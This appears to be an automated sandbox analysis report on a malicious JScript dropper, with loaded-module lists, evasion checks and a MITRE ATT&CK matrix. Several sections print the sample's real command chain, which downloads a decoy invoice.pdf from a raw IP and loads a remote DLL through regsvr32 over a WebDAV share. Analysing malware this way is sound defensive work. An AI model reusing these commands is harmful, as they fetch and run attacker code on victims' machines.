Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1979.js.csv");ITextStream.WriteLine(" entry:8883 f:lgsac");ITextStream.WriteLine(" exec:2 f:lgsac");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49766

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4290			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5278			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2144	Thread sleep count: 4290 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2144	Thread sleep count: 5278 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4836	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2680	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4492	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3580	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 672	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7224	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2290871909.000001F13927B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2290871909.000001F139218000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3527959155.0000017784657000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3528580737.00000177FEE27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2290871909.000001F13927B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
